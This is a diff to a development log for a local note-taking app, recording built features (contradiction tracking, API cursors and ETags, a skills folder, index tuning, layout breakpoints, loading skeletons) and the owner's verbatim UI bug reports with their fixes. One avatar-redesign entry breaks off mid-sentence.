+  Dismiss (`tension_accepted`, `tension_dismissed`), all `entity_type=
+  "tension"` so the entity index serves them; the night shift's `tension`
+  facts (a tombstone is a dismissal); the `contradicts` links. `refresh`
+  rebuilds when `sources_version` (seven indexed aggregates) moved;
+  `rebuild` runs with the space filter lifted, so a request in one space never
+  drops another space's links.
+- **The scan never asks twice**: `GET /entries/tensions` skips every pair in
+  the table and records each new finding as an event.
+  `GET /entries/tensions/known?status=` lists the table in the scan's shape
+  plus status, model, computed_at, source and event_id; a pair whose note is
+  private, binned or in another space is hidden by the join.
+- **The widget** (`renderTensionsWidget`, `dashTensionRow` in dashboard.js):
+  the open pairs by both names, the reason, "Found by <model> · <when>" (B4's
+  stamp), and the night card's four icon actions (open either note, link as
+  contradicting, dismiss); the review sheet lists what was found earlier
+  before Start the review is pressed. Actions go under the words where the
+  card is narrow.
+- Tests: `tests/test_tensions_table_b4.py` (7: each source and state, a
+  rebuild from nothing equal to the first, every row's event exists and
+  matches, accept and un-link, privacy, the scan records and never asks
+  twice, forgetting). Sweep: `scratchpad/ui-sweeps/kg1005-tensions.js` 9/9 at
+  1440 light and 390 dark (four 28px, or 44px touch, square buttons inside the
+  card; linking takes the row away and the table has it accepted).
+- Not verified: a real local model's verdicts (the scan's judge is faked, the
+  night pass ran on its no-model rule).
+
+## Moved from the plans, 2026-10-05 (TIMELINE_PLAN, zoom and On this day)
+
+The two cheap additions the plan's research section named (decisions 11 to
+13 stay in the plan).
+
+- **Zoom the dates** (`timelineStepScale`, timeline.js): Ctrl and the wheel
+  on the list, or a trackpad pinch (a wheel with `ctrlKey`), steps the bucket
+  one scale per gesture (deltas summed to 50, a 350 ms pause ends a gesture),
+  `preventDefault` so the page itself does not zoom; + and - on a focused row
+  do the same. The focused row, else the topmost, keeps its place; the step
+  is written into Bucket by and announced.
+- **On this day** (Options, Time range): `GET /timeline?on=MM-DD&tz=` keeps
+  rows whose date, shifted into the reader's day, is today's month and day,
+  today itself left out; applied to notes, documents and reminders and to
+  the density strip through the one `in_range`.
+  `tests/test_timeline_on_this_day.py` (4: earlier years, an earlier month,
+  the reader's day not UTC's, a bad day refused).
+- The feed only: in the table (a phone's default view) there are no date
+  groups, so the gesture stays the browser's and + and - do nothing.
+- Sweep: `scratchpad/ui-sweeps/kg1005-timelinezoom.js` 10/10 at 1440 light
+  and 390 dark with the feed chosen (one notch day to week, a twelve-delta
+  pinch one step, in again, page zoom unchanged, - and + on a focused row
+  with focus kept, the table left alone, the request carrying `on=` and
+  `tz=`, today's notes absent).
+- Help: the '?' popover and the Guide's timeline topic (which still described
+  the grid and line views of 2026-09) say both.
+
+## Moved from the plans, 2026-10-05 (B7)
+
+### From WORLD_CLASS_PLAN.md B7: the state line it replaced
+
+**State 2026-09-24:** (b) the error shape exists, the schema is behind the unlock (`tests/test_openapi_gate.py`), and every list takes a `limit` (`tests/test_list_limits.py`). Not built: cursor pagination, ETags and `If-Match` on entries, and `/capabilities`. M.
+
+### Built 2026-10-05 (row 16)
+
+- **One paging contract** (`api/paging.py`): every route that pages by
+  `offset` (18 of them) also takes `?cursor=` and answers `X-Next-Cursor`
+  while there is more; no header means the list is finished. A header, not a
+  `next_cursor` field, because the twenty array-shaped responses are read as
+  arrays by the page and by any outside caller; `offset` is unchanged. A
+  cursor of the wrong kind for its route is a 422, never a silent first page.
+- **The notes list's cursor is a keyset** over `(pinned, created_at, id)`,
+  so a note saved between two page requests neither repeats a row nor hides
+  one (`test_a_note_saved_between_pages_does_not_repeat_a_row` fails on an
+  offset). The other lists carry an offset cursor: small, ordered by a score
+  or a merge, or read once into a dialog, where a keyset buys nothing.
+- **ETags and `If-Match` on entries**: `GET /entries/{id}` and a `PUT` answer
+  `ETag: "<content_hash>"`, the hash the editor already sends as `base_hash`;
+  a `PUT` or `DELETE` with an `If-Match` naming no current version is refused
+  with 412, `code: precondition_failed` and the current note, before anything
+  is written. `*` matches; a weak tag never does (RFC 9110).
+- **`GET /capabilities`**: what this install has, every field a look at the
+  disk or a preference and never a call to a model server: the transcriber,
+  Tesseract, the Office importer, the embedding backend, the read-aloud
+  engine, the MCP server, LAN mode, the API version and how to page and guard
+  writes. Behind the unlock.
+- Tests: `tests/test_api_contract_b7.py` (10), including a lint that every
+  route with an `offset` takes a `cursor`.
+- Not verified: no page code follows the cursor yet (the lists still page by
+  offset, which keeps working), and nothing in the page reads `/capabilities`.
+
+## Moved from the plans, 2026-10-05 (B8, H4)
+
+### From WORLD_CLASS_PLAN.md B8 and H4: the state lines they replaced
+
+**B8, state 2026-09-24:** (b) the MCP server exists (`src/memorymap/mcp_server.py`) and the registry is served over HTTP (`GET /chat/tools`, `POST /chat/tools/execute`); a user skills folder of Markdown files picked up without a restart does not. M.
+
+**H4, state 2026-09-24:** (b) the MCP server exists (`mcp_server.py`); a versioned `/api/v1` and the agent named in the event log for an external write were not found. M.
+
+### Built 2026-10-05 (row 17)
+
+- **The user skills folder** (`ai/skill_folder.py`): `<data dir>/skills/*.md`
+  is read on every skill-list request and a file is parsed again only when
+  its modification time or size moves, so a file dropped in is in Settings,
+  Skills and the chat's Skills menu (which now asks again each time it opens)
+  without a restart, and leaves when the file does. The file's name is the
+  skill's name unless front matter says otherwise; front matter carries the
+  description, `when`, `tools` and `inputs`; a `## Steps` list is the steps.
+  Every field passes `skills.normalise`, the check a typed skill passes. A
+  file that does not load, or names a skill that already exists, is listed
+  in Settings with the reason; the app never edits or deletes the file
+  (`delete_skill` refuses with "delete the file").
+- **`/api/v1`** (`api/versioning.py`): every API route at `/x` is also at
+  `/api/v1/x`, the same handler behind the same unlock (a pure ASGI layer
+  outermost, so every check sees the bare path); the page's files are not
+  under it (404), every response under it says `API-Version: 1`, and the
+  schema is `/api/v1/openapi.json`, behind the unlock.
+- **The agent named** (`events.as_agent`, `agent:<tool>@<who>`): an MCP
+  client's `clientInfo.name`, or `X-MemoryMap-Agent` on any request, files
+  every change the call makes under that name; History and the activity
+  list say "<who> (agent)" and the activity list offers to undo it, as for
+  Atlas.
+- Tests: `tests/test_local_service_h4.py` (9).
+- Not verified: the Skills menu refreshing on open was not driven in a
+  browser; no real MCP client was connected.
+
+## Moved from the plans, 2026-10-05 (19.3, 19.5)
+
+### From WORLD_CLASS_PLAN.md 19.3 and 19.5: the state lines they replaced
+
+**19.3, state 2026-09-24:** (b) the index checks exist (`tests/test_entry_indexes.py`, `tests/test_db_pragmas_and_indexes.py`); the whole-query-set `EXPLAIN QUERY PLAN` pass was not found. S.
+
+**19.5, state 2026-09-24:** (b) N+1 on the list paths has a test (`tests/test_scale_query_counts.py`); the event bus, the job queue's back-pressure and the Windows frozen startup are open. S each.
+
+### Built 2026-10-05 (row 28, two of its items)
+
+- **The pass** (`scratchpad/plat1005_query_plans.py`): a 5,000-note notebook
+  (with 20,000 events, 5,000 uploads, 1,000 documents and chats, links,
+  reminders, the bin and the archive), every GET route that needs at most an
+  entry id, every distinct SELECT they ran planned and timed.
+- **The finding.** Every list index led with `workspace_id`, measured with
+  one space selected; the page's default, All spaces, sends no equality on
+  it, so in the view most people are in every list sorted its whole table.
+  Twelve indexes on the lists' own orders (`database._INDEXES`, "the
+  all-spaces orders"), each statement alone before and after: the notes
+  list's page "TEMP B-TREE" to index order (25 to 40 ms, the page of 1,000
+  rows itself now the cost), the Library's notes 36 to 0.2 ms, its activity
+  76.6 to 4.4 ms, the Timeline's page 35.8 to 0.15 ms, the bin 4.3 to 0.3 ms.
+- **The trap, measured and kept out.** A first cut led the new indexes with
+  `is_deleted` like the scoped ones, and with no `ANALYZE` statistics SQLite
+  took `is_deleted = 0` (and `archived_at IS NULL`) as selective lookups:
+  "every live note by id" turned from a table read into a lookup plus a sort
+  (duplicates 69.6 to 98.1 ms, a note's connections 31.9 to 40.0 ms) and the
+  main list sorted again. The orders alone, and the bin's and archive's as
+  partial indexes only their own WHERE can match, fixed both;
+  `tests/test_query_plans.py` holds the lists in index order and the
+  by-id reads as table reads.
+- **Back-pressure, measured** (`tests/test_job_backpressure.py`): a model
+  lane held busy and 2,000 captions queued behind it; an enqueue costs 53
+  microseconds and a queued job holds 484 bytes, so the queue needs no
+  bound. The activity panel did: `pending()` sent one row per queued job,
+  347 KB of JSON on every `/tasks` poll. It now sends the running jobs, the
+  next ten waiting of each kind and one "N more queued" row per kind;
+  `/debug/health`'s queue depth counts the folded rows.
+- Not measured: a durable job's enqueue (it writes its `jobs` row) under a
+  2,000-file drop; the event bus.
+
+## Moved from the plans, 2026-10-05 (F7, F10)
+
+### From WORLD_CLASS_PLAN.md section 10: the rows as they stood
+
+- F7 (b) the pool is built (A3); a ratchet holds the thread sites at 13 modules (`tests/test_flaw_class_lints.py`, 2026-09-26). Left: moving them onto `core/jobs.py` one at a time, lowering the ratchet each time. M.
+- F10 (c) no `readings` table (`page_reads` is document pages only). M.
+
+### Built 2026-10-05 (row 29, F7 in part and F10)
+
+- **F7.** The whole-notebook re-index runs on the pool, on a `batch` lane of
+  one worker (on `model` it would have held every caption and every new
+  note's filing for its whole run), and the model capability probe, a short
+  HTTP call, on the `cpu` lane; both are kept off the activity list (the
+  re-index has its own row). `THREAD_SITES` lowered for both modules
+  (`tests/test_f7_pool_moves.py`).
+- **F10, as a view.** A file's text was in five places (`caption`,
+  `ocr_text`, `vision_ocr_text` on two tables, and `page_reads`); the search
+  index read three for an attachment and two for an upload, so an upload's
+  vision reading and every page read in the OCR workspace could not be found
+  by their words. `readings(source, source_id, kind, page, text, model, ts)`
+  is a SQLite view over all five, replaced at startup when its definition
+  changes; a view rather than a table the writers move onto, so the four
+  extractors, the caption editor and the page reader keep writing where they
+  write and the read model cannot drift. `GET /files/readings?source=&id=`
+  returns every reading in one shape (a private note's file is a 404); the
+  index takes every kind (`readings.text_of`), and a page read or described
+  re-indexes its file in the same transaction (`tests/test_readings_f10.py`).

+## Moved from the plans, 2026-10-05 (F1, F5, F12)
+
+### From WORLD_CLASS_PLAN.md section 10: the rows as they stood
+
+- F1 (c) no `prefs` module; 171 direct `localStorage.getItem` calls. M.
+- F5 (b) every bare `fetch` must carry the auth header (`tests/test_raw_fetch_headers.py`); the `api.stream`/`api.upload` helpers and the no-bare-fetch lint are not built. S.
+- F12 (c) no store. L.
+
+### Built 2026-10-05 (row 29, F1, F5 and F12's first slice)
+
+- **F5.** `api()` is the one door: a `FormData` body keeps the browser's
+  multipart type, a caller's headers merge with the auth and space headers
+  instead of replacing them, and the `Response` it returns is read as a
+  stream. `api.upload` and `api.stream` name the two shapes. Twenty bare
+  `fetch` calls moved onto it (the chat, Guide, draft, document check and
+  both log streams; every upload and import; the exports; the support
+  bundle; the inline pictures of an export; the dictionary); seven stay,
+  each with its reason, in `tests/test_no_bare_fetch.py` (app.js's own three,
+  the boot guard, the server-down probes, a `blob:` address).
+- **F1.** `prefs.js`, loaded after app.js: `prefs.get` never throws and never
+  returns `undefined`, `prefs.json` returns the shape asked for or the
+  default, `prefs.number` a finite number in range (the NaN class: zoom, the
+  graph's gravity and spread), a schema with a version per key and
+  `prefsMigrate`. All 29 `JSON.parse(localStorage.getItem(...))` reads and
+  the other 195 direct reads go through it, except the three scripts that
+  run before it; `tests/test_prefs_module.py` holds that and runs the module
+  in node against blocked storage and bad values.
+- **F12, the first slice.** `store.js` (`appState.get/set/subscribe/when`).
+  The `notes` slice is published by both writers of `allEntries`; the
+  dashboard's notebook-wide widgets wait for it at boot instead of asking
+  `/entries` for the same rows a second time (`tests/test_store_module.py`).
+  The notes list also follows `X-Next-Cursor` now (B7's keyset), so a note
+  saved during a long load is not listed twice.
+- Not verified in a browser beyond the sweeps named in the commit.
+
+## Moved from the plans, 2026-10-05 (UI_MODERNISATION_PLAN Phase 9, the off-band widths)
+
+Phase 9's last open line (audit FE-11): the 720, 640 and 900 groups onto the
+four bands. 35 of their 49 width queries moved; the counts in
+`tests/test_breakpoints.py` went 26/6/11/5/1 to 5/2/5/2/0.
+
+- **The rule.** A block the band already drew the way the 720 rule drew it
+  below 720 went to its band edge; everything else followed the band's own
+  table. 720 and 640 to the phone (599.98/600): the phone header, page gutter
+  and card padding, the dashboard hero, wrapping `.row`s, the library
+  activity pair (with its min-720 twin), the reading-width sheets (three
+  min-720 rules, "above a phone"), the timeline's phone row and scrubber,
+  the settings row stacking. 720 to 819.98 where the narrower side is the
+  safe one: the submenu flyout drawn in place, the sketch palette's foot.
+  900 to 819.98: `.chat-grid`, `.draft-columns` (and its min-901 twin),
+  `.doc-layout`.
+- **Settings went to 819.98, not 599.98**, because the band is one column:
+  as a 640 rule moved to the phone the dialog kept its 232px section column
+  at 620 and gave the settings 282px (a select's value cut short); as a
+  strip below 820 the pane is 530px at 620 and 729 at 819.
+- **What it fixed at 600 to 720:** a note row's four actions stood in a
+  44x195 column (`flex-wrap` from the 720 touch block) and are one 195x44
+  row; the dashboard is two-up as the band's table says (294px columns at
+  620) where it was one column; the header is the band's 124px at every
+  width in it (it was 110 below 720 and 124 above).
+- **Not moved, owned elsewhere:** the status bar (00's trimmed items, 03's
+  AI mark), the dashboard's quick access (03), the whiteboard (06's
+  floating panel, all of 07's). Listed in `archive/agent-remaining/uimod-89.md`.
+- **One finger target fixed on the way:** `.settings-index-link` takes
+  `min-width: var(--target-min)`; "AI" was 43x44 (`touch.js` at 700).
+- Sweep: `scratchpad/ui-sweeps/bands.js`, a before and after snapshot of
+  every visible box on the seven tabs, Documents and Settings at 390, 620,
+  700, 760, 800, 860, 1024 and 1440, light and dark, and a diff. 390 and
+  1440 unchanged (the diffs left are relative times and the graph settling);
+  overflowX 0 and offscreen 0 at every width before and after; clipped text
+  unchanged but for one timeline title at 620 (a 329px title column now).
+  `errors.js` 0 at 1440, 1024, 860, 820, 760, 700, 620 and 390 (light) and
+  760, 620 (dark); `touch.js` 0 findings at 700 and 390.
+- **Phase 8 re-measured** (`docks.js` at 1440): every dock one height, at
+  most six controls, one filled. The one row with two heights was the Notes
+  Connections column's head (`.notes-rail-actions`: the '?' 32px, the X 28,
+  2px out of line); both take `--control-h` now, 32 and 32 at y 97.
+
+## Moved from the plans, 2026-10-05 (D5)
+
+### From WORLD_CLASS_PLAN.md D5: the state line it replaced
+
+**State 2026-09-24:** (b) documents have typed properties (`tests/test_doc_properties.py`, the Library's property filter); notes do not: no `properties` column on `entries`, no editor in the note head, no kinds. M, Opus.
+
+### Built 2026-10-05 (row 10)
+
+- **Most of D5 was already built** as GRAPH_PLAN KG4 (2026-10-04, recorded
+  above under "KG4, note properties and note types"): the properties live in
+  the note's `---` block, indexed in `entry_properties`, edited from the
+  note's ⋯, with note types and their fields. The state line was stale.
+- **The gate's rest.** FTS finds a property value (it is in the note's
+  text); the graph colours by it: View, Colour, **Note type**
+  (`GRAPH_COLOUR_RULES`, `gcRuleKey`/`gcRuleScale`). Each note node carries
+  `note_type` from the index (one query on `entry_properties`, the type's
+  own name when Note types has it, so "book" and "Book" are one colour and
+  one legend row) and the payload carries `type_colours`. A type's colour
+  is chosen in Note types, its ⋯, **Colour…**: DESIGN.md's swatch picker in
+  a sheet (`noteTypePickColour`, note-properties.js), with Undo; Automatic
+  is `categoryAutoDot(name)`, the colour the sheet's preview shows, so the
+  two never disagree. An untyped note is grey, "No type".
+- **Found and fixed on the way:** `PUT /entries/{id}/properties` and the
+  note half of `POST /entries/{id}/mentions/link` were 500s on the branch.
+  B7 added `response` and `If-Match` to `routes_entries.update_entry`, and
+  both callers passed `session` positionally, which landed in `response`
+  and left `session` the bare `Depends` marker. Both now call by keyword;
+  the properties PUT passes its own response through, so it answers with
+  the ETag too. `tests/test_note_properties_kg4.py` had been failing since.
+- Measured: `tests/test_note_types_graph_d5.py` 8 tests;
+  `scratchpad/ui-sweeps/d5types.js` 11/11 at 1440 and 390, light and dark
+  (legend, own colour, automatic colour equal to the preview's, the type's
+  own name, the Note types dot centred, the Colour sheet fitting, a swatch
+  saved, no page errors).
+- Left: the Library grouping notes by type (D5's target names it; the
+  Library lists documents and files, and groups none by a note's type).
+
+## Moved from the plans, 2026-10-05 (section 17)
+
+### From WORLD_CLASS_PLAN.md section 17, row 1: the review queue
+
+**State 2026-09-24:** 1 review queue (c), S.
+
+- **Built 2026-10-05 (row 11).** The Notes filter `is:review`
+  (`entryNeedsReview`, notes-list.js): a note the janitor filed under
+  `REVIEW_THRESHOLD` (the card's "check this" chip) or left in
+  Uncategorised, that nobody has decided on since (`user_filed`). In that
+  list each card has a line of its own, like "why this result": **Accept**
+  (`POST /entries/{id}/filing`, `{accepted}`, logged as `filing_accepted`;
+  the note leaves the list, with Undo), **Refile…** (the Move to category
+  sheet; a move is a decision already) and **Split…** (Extract notes over
+  the whole note; disabled with the reason while the model is off). The
+  Categories widget says "N notes to check where they were filed" with
+  Review filings (`manager.review_queue_count` on `/insights/stats`,
+  `to_review`); the palette has Show filings to check; the filter's help
+  and the Guide name it.
+- Decided (recommended, not confirmed): the line is the card's 50, not the
+  row's 60, so a queued note always shows the chip that says why.
+- Measured: `tests/test_review_queue_17.py` 6 tests;
+  `scratchpad/ui-sweeps/reviewq.js` 9/9 at 1440 and 390, light and dark
+  (the count, the list holding the unsure and the Uncategorised notes and
+  not the sure one, the three buttons one height inside the card, nothing
+  sideways, Accept out with its toast, the server's `user_filed`, Undo back).
+- Not verified: with no model every note lands in Uncategorised, so on a
+  model-less notebook the queue is every note the person has not filed by
+  hand; that is the row as written ("anything filed Uncategorised").
+
+## Built 2026-10-05: INBOX 598, 602 and 596's skeleton part (loading states)
+
+(The INBOX entries themselves are moved by the orchestrator; this is the
+record.)
+
+- **598, the "horizontal line in the middle", found.** The first-visit
+  placeholder of Graph, Library and Documents (`tabPlaceholder`,
+  navigation.js) was one `.skeleton` meant to fill the page, absolutely
+  placed with both insets. The page is a flex column that centres its
+  children, and an absolutely placed flex child takes `align-self` from it:
+  it shrank to its content, 49px (the skeleton's two bars), centred 439px
+  down a 799px page and wider than it (measured at 1440). Stretched now.
+- **598, the page's shape and its name.** `TAB_SKELETONS`: a dock (name bar
+  and actions), then the graph's canvas with a scatter of dots, the
+  library's chips and twelve tiles, the documents list beside the open page
+  (the list alone on a phone); all `.skeleton` pieces through the CSSOM, the
+  boot CSS being at its cap. Past 400ms a `role="status"` line with the ring
+  in the dock's middle: "Opening the graph…", "Opening the library…",
+  "Opening documents…".
+- **596, the dashboard.** A widget mounts with two skeleton rows
+  (`showSkeletons`), gone the moment it draws its own; the
+  `.dash-body:empty::after { content: "Loading…" }` rule is deleted. While
+  a full draw fills the grid unseen (`.dash-filling`), `dashFillingSkeleton`
+  lays skeleton cards in the grid's own columns over its box. Found on the
+  way: a brand-new notebook's getting-started card was added after
+  `.dash-filling` and returned early, so it stayed hidden for good.
+- **602, back to the dashboard.** `switchTab` asks `renderDashboard({
+  refresh: true })`; when the layout is the one drawn (`dashGridShape`),
+  `refreshDashWidgets` draws each widget again into a body laid out beside
+  the old one at its width, unseen, and swaps it in when done.
+- Measured (`scratchpad/ui-sweeps/loading598.js`, CPU 4x by CDP, lazy
+  bundles held 1.5s): before, the placeholder was one piece for 2.4 to
+  3.3s with no name, the dashboard's return had 10 frames with no
+  dashboard (491 to 998ms), and widgets said "Loading…". After: 11 to 26
+  pieces per surface, the name at the first frame past 400ms, 0 blank
+  frames, 0 empty frames on the return with every card swapped, 0 "Loading…",
+  the grid's outline 0px off its box; at 1440 and 390, light and dark.
+  `tests/test_lazy_skeletons_598.py` (5), with DESIGN.md's new recipe row.
+- Not verified: the desktop window (pywebview) itself; a real slow disk
+  rather than a held route.
+
+## INBOX resolved, 2026-10-05
+
+543. **The owner, 2026-10-05, verbatim.** "this top part of the timeline needs
+     moderna dn professional redesigning and restructuring." (screenshot: the
+     calendar strip under the dock).
+     **Fixed 2026-10-05**: one header row, the month between its arrows (0px
+     gaps), the days one `--chip-bg` well ending at the dock's right edge
+     (1116px at 1440, 708 at 1024, 330 at 390, 46px a day), today filled,
+     one Tab stop with arrow keys; `daystrip.js` 44 of 44 at 1440 and 390.
+
+548. **The owner, 2026-10-05, verbatim.** "redesign old ui popups like this as
+     well to be consistent, moderna and professional." (screenshot: the mind
+     map's "Point a new node at..." picker).
+     **Fixed 2026-10-05**: `pickerDialog` (selection.js) for the four
+     notebook pickers (head with X, search-field well, rich rows with a facts
+     line, combobox keys; `pickers.js` 22 of 22 at 1440 and 390, light and
+     dark) and `dialogHead` for six script-built dialogs (`dialogheads.js`
+     20 of 20); `CONFIRM_HEAD_DIALOGS` ratchet in test_ui_recipes.py.
+
+538. **The owner, 2026-10-05, verbatim.** "Im using a thinking model that can
+     use toolcalling but it fails??" (screenshots: gemma-4-E2B, spec sheet
+     "Can use tools: yes", the answer card says it "can't call tools, so this
+     answered as a plain question instead of using Agent mode").
+     Fixed (2026-10-05): Ollama's "error parsing tool call" 5xx is retried once, and a model that declares tools but fails twice says so instead of "can't call tools" (tests/test_ollama_tools_reliability.py; fake transport only).
+539. **The owner, 2026-10-05, verbatim.** "when I switch between tabs in the
+     top bar, the pill element for the tabs shifts position slightly
+     horizontally."
+     Fixed (2026-10-05): `tabContentWidth` skips the glide pill; 0px shift at five widths (tabpillshift.js, was 29px at 1024).
+541. **The owner, 2026-10-05, verbatim.** "some of the settings section
+     navigation rows are at the bottom and some dont have any at all??"
+     (screenshot: Quit MemoryMap with its sub-tab row under the title).
+     Fixed (2026-10-05): every pane with three or more heads gets its index under the title (settingsindex.js, 21/21).
+544. **The owner, 2026-10-05, verbatim.** "the graph arc view starts a little
+     too close and too high up on the screen."
+     Fixed (2026-10-05): the arc view frames its arcs and labels with a wider margin (graph.js `frameTree`).
+545. **The owner, 2026-10-05, verbatim.** "the clear button in the note
+     capture tab clashes with the text box."
+     Fixed (2026-10-05): Clear sits 2px below the box at 1440 and 390 (captureclear.js).
+546. **The owner, 2026-10-05, verbatim.** "idk if the "connections beside an
+     open note" in the notes tab does anything."
+     Checked: it works at 1280px and wider, beside a note you have opened
+     (`notesRailWanted`); with no note open nothing changes, so pressing it
+     looked like nothing. It now says so in a toast when that is the case.
+     Fixed (2026-10-05): the toast described above.
+547. **The owner, 2026-10-05, verbatim.** "also what are topics in the graph??
+     can i change or modify or see topics in the graph or elsewhere??"
+     Answer: a topic is a subject the app finds inside a cluster (GRAPH_PLAN
+     KG6): notes linked closely together, named by the tag, person or word
+     they share most. Seen via the graph's gear, Colour: Topic (an outline
+     per topic, a legend entry per topic, a card with Summarise). They are
+     computed, not editable. Recommendation (taken): rename a topic from its
+     card (a stored name that wins over the computed one), and list topics
+     in Library, Contents, so they are visible outside the graph. Next Opus.
+     Fixed (2026-10-05): the topic card's pencil renames a topic (PUT /graph/topics/name, stored by its notes, following it through small changes; the arrow brings the found name back), and Library, Contents has By topic (tests/test_topic_names.py, topicnames.js 9/9).
+
+551. **The owner, 2026-10-05, verbatim.** "is there a way to get it to
+     generate questions now??" (screenshot: Notes, Questions, empty).
+     Fixed (2026-10-05): the dock's refresh is now Read notes now, which runs
+     the night pass (`POST /night/run`) and lists what it found; the pass
+     runs unattended only with background tasks on, which is off by default,
+     so the old empty line ("after Atlas reads your notes") promised a read
+     that never came. questionsfind.js 4/4 at 1440 and 390.
+
+537. **The owner, 2026-10-05, verbatim.** "I accidentally clicked the + button
+     on a mindmap link. then it made an extra node. I didnt want that so I
+     pressed ctrl+z, it undid most of it, but the link from the parent node
+     to the rest of the branch disappeared. I was trying to figure out how to
+     reconnect them, then I moved the separated branch and it straight up
+     disappeared. I cant undo or redo anything and Ive lost that branch. the
+     undo and redo across the application needs to cover EVERYTHING" Data
+     loss: first.
+     Fixed 2026-10-05: insert-between is one step (b3b93cf); then every
+     board and map change audited and made undoable (WHITEBOARD_PLAN, "Undo
+     coverage", decisions 17 and 18): a gesture's Undo is read off what it
+     changed, a deleted topic returns with its branch, a deleted item with
+     its links, each board, map and document keeps its own history. "Moved
+     the separated branch and it straight up disappeared" reproduced: a loose
+     branch dropped on a folded topic went under the fold; the target now
+     opens. `boardundo.js` 43/43, `docundo.js` 8/8.
+
+560. **The owner, 2026-10-05, verbatim.** "the borders and stufff look
+     awkward and wierd" (scratchpad/inbox560-composer.png: the capture
+     composer with the note box's own focus ring drawn a hair inside the
+     composer's border). Fixed (2026-10-05): the note surface inside the
+     composer gives up its own edge and ring, and the composer's edge takes
+     the focus in the accent (`:has`), as the Ask composer does.
+     composerring.js 8/8 (light, dark, 1440, 390).
+562. **The owner, 2026-10-05, verbatim.** "the x button on this isnt properly
+     spaced" (screenshot: the board's gesture hints strip, its X crammed at
+     the end). Fixed (2026-10-05): the hints are wider than the pill, so the
+     row scrolled and the X sat 1px past the edge; it is now pinned at the
+     end after a hairline, inset 10px against the first hint's 9px.
+     wbgestureclose.js 8/8.
+
+549. **The owner, 2026-10-05, verbatim.** "can you also better redesign and
+     restructure the document editor suggestions panel?? for both docks"
+     (`#doc-prose-panel`, opened from the toolbar's Suggestions button and
+     the focus dock's). Placed: the design agent after 548.
+     **Fixed 2026-10-05**: one head row (name and count, Fix N, Check with
+     AI, a ⋯ with the Dictionary and the dock side, the X), one row recipe
+     per finding with Accept and Ignore as quiet icons (Ignore last on every
+     row), answers under the row, Up/Down walk and focus moves on after an
+     action, a quiet empty state; the same panel docked bottom, right and in
+     focus mode. `docsuggest.js` all ok at 1440 and 390, light and dark
+     (head one row down to the 240px dock); `prosedock.js` 18 of 18.
+552. **The owner, 2026-10-05, verbatim.** "I also want a redesign of the
+     dictionary popup and to fix ugly line wraps" (screenshot: the document
+     Suggestions panel head, "Suggestions 5" on one line and its five icon
+     buttons wrapped onto a second, right-aligned). Placed: with 549, the
+     design agent.
+     Then (verbatim): "wrapping elements at the top of the dictionary"
+     (scratchpad/inbox552-dictionary-head.png: "Writing dictionary 3 words
+     (?)" on the first row, export, import and close wrapped onto a second).
+     The same head wrap as the Suggestions panel: one shared cause.
+     **Fixed 2026-10-05**: the cause was `.card > .row.space-between`'s wrap
+     catching every dialog head; now the actions never wrap and the title
+     gives way (08-consistency.css). `headrow.js`: 42 heads, every button on
+     the title's centre line at 390 and 1440 (the old shape fails it at
+     "Where are my documents kept?"). The dictionary: Import, Export and the
+     X in the head, the count under it, the search-field well, switch rows as
+     switch rows; `docdictionary.js` and `docwraps.js` (find bar, AI panel,
+     Earlier versions) all ok, no line of words broken onto two.
+
+568. **The owner, 2026-10-05, verbatim.** "the document editor edit/read pill
+     is overflowing at the bottom and those elements arent aligned"
+     (screenshot, dark: Edit and Read standing below their well). Fixed
+     (2026-10-05): under 720px `button.small` takes a 44px floor while
+     `.doc-dock .seg` kept 32px, so the buttons hung 16px out of the well;
+     the well is 44px there and its buttons fit inside it. docviewseg.js
+     12/12 (1440, 1024, 390; light and dark): 0px overflow, one centre line.
+
+550. **The owner, 2026-10-05, verbatim.** "on the feminine atlas. could you
+     somehow make it more feminine, attractive, cosmic lustrious and better??
+     and improve the whisps as well as the forehead hair as well on the
+     feminine atlas" (screenshots, scratchpad/inbox550-*.png: the ribbon
+     wisps round the body, flat lavender bands with dot sparkles; the fringe
+     close up, flat wedges with hard edges). Placed: the next free Opus.
+     Fixed (2026-10-05), with 554, 555, 556, 559, 563, 564 (in part), 565,
+     567 and 568 (scratchpad/ui-sweeps/atlasluster.js, before against

+     dress (IoU 0.79 below the hips; 0.76 whole, the hips slimmed on
+     purpose) with no stroke, its last third dissolving into light and
+     motes; head over figure height 0.294 and 0.297 (0.352 and 0.363), the
+     face 1.24 tall over wide (1.13); her hips 13.3 (17.5); her comet tail
+     1.23 times as long with the wings' filaments and glow; her hair four
+     broad locks with curled round tips (turn 14.2), no page between them;
+     both looks' arms hang 13.4 degrees off vertical with an elbow of 165
+     to 167 and a wrist 0.52 to 0.54 of the shoulder; her idle adds a
+     float (5.3s), the dress's wind (7.1s) and a 3.7s breath, 0 of these
+     loops under reduced motion or Off; frame cost, interleaved before and
+     after: the figure 246 ms against 306 per 8s, the 208px mark 6,449
+     against 6,626 (both within noise). The masculine figure differs from
+     before only in its head, torso and arms.
+
+555. **The owner, 2026-10-05, verbatim.** "also there's a wierd gap on the
+     fringe in the top right corner" (screenshot,
+     scratchpad/inbox555-fringe-gap.png: a jagged notch between two fringe
+     locks at the top right of the hair). Placed: with 550, the Atlas agent.
+559. **The owner, 2026-10-05, verbatim.** "i dont like it, it looks old and
+     like a circus" (scratchpad/inbox559-gown.png: the lower body as drawn,
+     vertical pale stripes like a tent, a wavy outlined hem, dot stars in a
+     line). Placed: with 550, the Atlas agent.
+     Then (verbatim): "I prefered closer to the old tooth look, maybe work
+     from that then implement the othe rthings u suggested. maybe as a dress
+     or smth??" Direction: the original silhouette kept, refined into a
+     dress with a soft trailing hem, then the modern treatment (no outline,
+     the hem dissolving into light, soft sheen, nebula, rim light).
+563. **The owner, 2026-10-05, verbatim.** "I feel like the hip makes it look
+     fat. make it like a girl who is 19-21. also I feel like the large round
+     heads on both the atlas avatars are giving fnaf and a little scary"
+     (screenshots: the gown's wide hip; a reference, "Female Galaxy Seed
+     Sower": slender ethereal figure, small oval head, almond eyes, hair
+     streaming like ribbons, a gown tapering into a curled galaxy tail, star
+     particles from the hand). Placed: with 550, the Atlas agent; the head
+     change applies to both looks.
+565. **The owner, 2026-10-05, verbatim.** "feel free to make the feminine
+     tail a little longer and flowy, maybe a subtle texture to match the
+     angel ears??" Placed: with 550, the Atlas agent.
+567. **The owner, 2026-10-05, verbatim.** "the arm on the rigght of the
+     female atlas still looks disconnected. also can the female long hair be
+     better redesigned to be more attractive and beautiful and flowy and
+     stuff?? the hair right now makes her look a little like a punk"
+     Placed: with 550, the Atlas agent.
+
+
+     Fixed (2026-10-05, Atlas merge): the fringe is drawn inside the hair cap's group; 0 of 468 hairline samples show the page (three moods, four phases).
+
